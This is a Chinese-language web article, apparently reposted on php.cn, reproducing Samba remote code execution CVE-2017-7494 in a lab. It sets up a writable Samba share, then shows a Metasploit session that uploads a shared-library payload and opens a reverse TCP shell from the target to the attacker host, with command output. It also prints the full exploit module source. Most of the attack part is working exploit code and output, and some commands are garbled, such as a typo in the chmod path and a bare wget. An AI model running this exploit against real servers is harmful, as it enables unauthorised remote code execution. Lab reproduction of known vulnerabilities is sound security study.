0

0

Samba远程代码执行漏洞的实例详解

零下一度

零下一度

发布时间:2017-07-17 11:11:46

|

3748人浏览过

|

来源于php中文网

原创

samba是在linux和unix系统上实现smb协议的一个软件。

2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。

360网络安全中心 和 360信息安全部的Gear Team第一时间对该漏洞进行了分析,确认属于严重漏洞,可以造成远程代码执行。

漏洞简述

▼▼

漏洞编号:CVE-2017-7494

危害等级:严重

影响版本:Samba 3.5.0 和包括4.6.4/4.5.10/4.4.14中间版本

漏洞描述:2017年5月24日Samba发布了4.6.4版本,修复了一个严重的远程代码执行漏洞,该漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。

技术分析

▼▼

如官方所描述,该漏洞只需要通过一个可写入的Samba用户权限就可以提权到samba所在服务器的root权限(samba默认是root用户执行的)。

Google’s NSynth
Google’s NSynth

Google NSynth -用器学习生成的由机声音制作音乐

下载

一、复现环境搭建

搭建Debian和kali两个虚拟机: 攻击机:kali (192.168.217.162); 靶机:debian (192.168.217.150)。

二、Debian安装并配置samba

1、首先,下载安装samba服务器

# apt-get install samba

2、在debian下创建一个共享目录,我这里为/mnt/shared

# mkdir  /mnt/shared

3、配置samba服务器的配置文件/etc/samba/smb.conf,在最后添加:

[shared]
  comment = 'Share for work'
  path= /mnt/shared
  guest ok = yes
  public = yes
  writable = yes
  create mask = 0777

4、设置/mnt/shared权限

# chmod –R /mnt/sspaned

5、重启samba服务

# /etc/init.d/samba restart

三、设置攻击机kali

打开kali终端进入到metasploit的exploit目录下的linux文件夹,并新建一个smb文件夹,将攻击脚本放入其中:

# cd /usr/share/metasploit-framework/modules/exploits/linux
# mkdir smb
# wget

运行metasploit,开始进行攻击(攻击脚本被我重命名为(cve-2017-7494.rb)

# msfconsole
msf > use exploit/linux/smb/cve-2017-7494
msf exploit(cve-2017-7494) > set rhost 192.168.217.150
rhost => 192.168.217.150
msf exploit(cve-2017-7494) > set payload linux/x64/shell/reverse_tcp
payload => linux/x64/shell/reverse_tcp
msf exploit(cve-2017-7494) > set lhost 192.168.217.162
rhost => 192.168.217.162
msf exploit(cve-2017-7494) > run
[*] Started reverse TCP handler on 192.168.217.162:4444
[*] 192.168.217.150:445 - Using location \\192.168.217.150\shared\ for the path
[*] 192.168.217.150:445 - Payload is stored in //192.168.217.150/shared/ as WzyvkESS.so
[*] 192.168.217.150:445 - Trying location /volume1/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume1/shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume1/SHARED/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume1/Shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume2/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume2/shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume2/SHARED/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume2/Shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume3/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume3/shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume3/SHARED/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume3/Shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /shared/shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /shared/SHARED/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /shared/Shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /mnt/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /mnt/shared/WzyvkESS.so...
[*] Sending stage (38 bytes) to 192.168.217.150
[*] Command shell session 2 opened (192.168.217.162:4444 -> 192.168.217.150:56540) at 2017-05-26 01:17:48 -0400

id
uid=65534(nobody) gid=0(root) egid=65534(nogroup) groups=65534(nogroup)

ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:6e:9a:4a
inet addr:192.168.217.150 Bcast:192.168.217.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe6e:9a4a/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:6769 errors:0 dropped:0 overruns:0 frame:0
TX packets:700 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:479898 (468.6 KiB) TX bytes:102796 (100.3 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:35 errors:0 dropped:0 overruns:0 frame:0
TX packets:35 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:3557 (3.4 KiB) TX bytes:3557 (3.4 KiB)

whoami
nobody

POC:

  1 ##  2 # This module requires Metasploit:   3 # Current source:   4 ##  5   6 class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, 'Name' => 'Samba is_known_pipename() Arbitrary Module Load',  7       'Description'    => %q{  8           This module triggers an arbitrary shared library load vulnerability  9         in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module 10         requires valid credentials, a writeable folder in an accessible share, 11         and knowledge of the server-side path of the writeable folder. In 12         some cases, anonymous access combined with common filesystem locations 13         can be used to automatically exploit this vulnerability. 14       }, 15       'Author'         => 16         [ 17           'steelo ',    # Vulnerability Discovery 18           'hdm',                                  # Metasploit Module 19         ], 20       'License'        => MSF_LICENSE, 21       'References'     => 22         [ 23           [ 'CVE', '2017-7494' ], 24           [ 'URL', '' ], 25         ], 26       'Payload'         => 27         { 28           'Space'       => 9000, 29           'DisableNops' => true 30         }, 31       'Platform'        => 'linux', 32       # 33       # Targets are currently limited by platforms with ELF-SO payload wrappers 34       # 35       'Targets'         => 36         [ 37           [ 'Linux ARM (LE)',   { 'Arch' => ARCH_ARMLE } ], 38           [ 'Linux x86',        { 'Arch' => ARCH_X86 } ], 39           [ 'Linux x86_64',     { 'Arch' => ARCH_X64 } ], 40         # [ 'Linux MIPS',       { 'Arch' => MIPS } ], 41         ], 42       'Privileged'      => true, 43       'DisclosureDate'  => 'Mar 24 2017', 44       'DefaultTarget'   => 2)) 45  46     register_options( 47       [ 48         OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']), 49         OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']), 50         OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']), 51       ]) 52   end 53  54  55   def generate_common_locations 56     candidates = [] 57     if datastore['SMB_SHARE_BASE'].to_s.length > 0 58       candidates << datastore['SMB_SHARE_BASE'] 59     end 60  61     %W{/volume1 /volume2 /volume3 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared}.each do |base_name| 62       candidates << base_name 63       candidates << [base_name, @share] 64       candidates << [base_name, @share.downcase] 65       candidates << [base_name, @share.upcase] 66       candidates << [base_name, @share.capitalize] 67       candidates << [base_name, @share.gsub(" ", "_")] 68     end 69  70     candidates.uniq 71   end 72  73   def enumerate_directories(share) 74     begin 75       self.simple.connect("\\\\#{rhost}\\#{share}") 76       stuff = self.simple.client.find_first("\\*") 77       directories = [""] 78       stuff.each_pair do |entry,entry_attr| 79         next if %W{. ..}.include?(entry) 80         next unless entry_attr['type'] == 'D' 81         directories << entry end return directories rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e 82       vprint_error("Enum #{share}: #{e}") 83       return nil 84  85     ensure 86       if self.simple.shares["\\\\#{rhost}\\#{share}"] 87         self.simple.disconnect("\\\\#{rhost}\\#{share}") 88       end 89     end 90   end 91  92   def verify_writeable_directory(share, directory="") 93     begin 94       self.simple.connect("\\\\#{rhost}\\#{share}") 95  96       random_filename = Rex::Text.rand_text_alpha(5)+".txt" 97       filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}" 98  99       wfd = simple.open(filename, 'rwct')100       wfd << Rex::Text.rand_text_alpha(8) wfd.close simple.delete(filename) return true rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e101       vprint_error("Write #{share}#{filename}: #{e}")102       return false103 104     ensure105       if self.simple.shares["\\\\#{rhost}\\#{share}"]106         self.simple.disconnect("\\\\#{rhost}\\#{share}")107       end108     end109   end110 111   def share_type(val)112     [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]113   end114 115   def enumerate_shares_lanman116     shares = []117     begin118       res = self.simple.client.trans(119         "\\PIPE\\LANMAN",120         (121           [0x00].pack('v') +122           "WrLeh\x00"   +123           "B13BWz\x00"  +124124           [0x01, 65406].pack("vv")125         ))126     rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e127       vprint_error("Could not enumerate shares via LANMAN")128       return []129     end130     if res.nil?131       vprint_error("Could not enumerate shares via LANMAN")132       return []133     end134 135     lerror, lconv, lentries, lcount = res['Payload'].to_s[136       res['Payload'].v['ParamOffset'],137       res['Payload'].v['ParamCount']138     ].unpack("v4")139 140     data = res['Payload'].to_s[141       res['Payload'].v['DataOffset'],142       res['Payload'].v['DataCount']143     ]144 145     0.upto(lentries - 1) do |i|146       sname,tmp = data[(i * 20) +  0, 14].split("\x00")147       stype     = data[(i * 20) + 14, 2].unpack('v')[0]148       scoff     = data[(i * 20) + 16, 2].unpack('v')[0]149       scoff -= lconv if lconv != 0150       scomm,tmp = data[scoff, data.length - scoff].split("\x00")151       shares << [ sname, share_type(stype), scomm] end shares end def probe_module_path(path) begin simple.create_pipe(path) rescue Rex::Proto::SMB::Exceptions::ErrorCode => e152       vprint_error("Probe: #{path}: #{e}")153     end154   end155 156   def find_writeable_path(share)157     subdirs = enumerate_directories(share)158     return unless subdirs159 160     if datastore['SMB_FOLDER'].to_s.length > 0161       subdirs.unshift(datastore['SMB_FOLDER'])162     end163 164     subdirs.each do |subdir|165       next unless verify_writeable_directory(share, subdir)166       return subdir167     end168 169     nil170   end171 172   def find_writeable_share_path173     @path = nil174     share_info = enumerate_shares_lanman175     if datastore['SMB_SHARE_NAME'].to_s.length > 0176       share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']177     end178 179     share_info.each do |share|180       next if share.first.upcase == 'IPC$'181       found = find_writeable_path(share.first)182       next unless found183       @share = share.first184       @path  = found185       break186     end187   end188 189   def find_writeable190     find_writeable_share_path191     unless @share && @path192       print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")193       fail_with(Failure::NoTarget, "No matching target")194     end195     print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")196   end197 198   def upload_payload199     begin200       self.simple.connect("\\\\#{rhost}\\#{@share}")201 202       random_filename = Rex::Text.rand_text_alpha(8)+".so"203       filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"204       wfd = simple.open(filename, 'rwct')205       wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}206       )207       wfd.close208 209       @payload_name = random_filename210       return true211 212     rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e213       print_error("Write #{@share}#{filename}: #{e}")214       return false215 216     ensure217       if self.simple.shares["\\\\#{rhost}\\#{@share}"]218         self.simple.disconnect("\\\\#{rhost}\\#{@share}")219       end220     end221   end222 223   def find_payload224     print_status("Payload is stored in //#{rhost}/#{@share}/#{@path} as #{@payload_name}")225 226     # Reconnect to IPC$227     simple.connect("\\\\#{rhost}\\IPC$")228 229     #230     # In a perfect world we would find a way make IPC$'s associated CWD231     # change to our share path, which would allow the following code:232     #233     # probe_module_path("/proc/self/cwd/#{@path}/#{@payload_name}")234     #235 236     # Until we find a better way, brute force based on common paths237     generate_common_locations.each do |location|238       target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')239       print_status("Trying location #{target}...")240       probe_module_path(target)241     end242   end243 244   def exploit245     # Setup SMB246     connect247     smb_login248 249     # Find a writeable share250     find_writeable251 252     # Upload the shared library payload253     upload_payload254 255     # Find and execute the payload from the share256     find_payload rescue Rex::StreamClosedError257 258     # Shutdown259     disconnect260   end261 262 end

 

相关专题

更多
高德地图升级方法汇总
高德地图升级方法汇总

本专题整合了高德地图升级相关教程,阅读专题下面的文章了解更多详细内容。

72

2026.01.16

全民K歌得高分教程大全
全民K歌得高分教程大全

本专题整合了全民K歌得高分技巧汇总,阅读专题下面的文章了解更多详细内容。

132

2026.01.16

C++ 单元测试与代码质量保障
C++ 单元测试与代码质量保障

本专题系统讲解 C++ 在单元测试与代码质量保障方面的实战方法,包括测试驱动开发理念、Google Test/Google Mock 的使用、测试用例设计、边界条件验证、持续集成中的自动化测试流程,以及常见代码质量问题的发现与修复。通过工程化示例,帮助开发者建立 可测试、可维护、高质量的 C++ 项目体系。

54

2026.01.16

java数据库连接教程大全
java数据库连接教程大全

本专题整合了java数据库连接相关教程,阅读专题下面的文章了解更多详细内容。

39

2026.01.15

Java音频处理教程汇总
Java音频处理教程汇总

本专题整合了java音频处理教程大全,阅读专题下面的文章了解更多详细内容。

19

2026.01.15

windows查看wifi密码教程大全
windows查看wifi密码教程大全

本专题整合了windows查看wifi密码教程大全,阅读专题下面的文章了解更多详细内容。

85

2026.01.15

浏览器缓存清理方法汇总
浏览器缓存清理方法汇总

本专题整合了浏览器缓存清理教程汇总,阅读专题下面的文章了解更多详细内容。

43

2026.01.15

ps图片相关教程汇总
ps图片相关教程汇总

本专题整合了ps图片设置相关教程合集,阅读专题下面的文章了解更多详细内容。

11

2026.01.15

ppt一键生成相关合集
ppt一键生成相关合集

本专题整合了ppt一键生成相关教程汇总,阅读专题下面的的文章了解更多详细内容。

49

2026.01.15

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
PHP安全与漏洞
PHP安全与漏洞

共12课时 | 2.2万人学习

CSS3 教程
CSS3 教程

共18课时 | 4.6万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号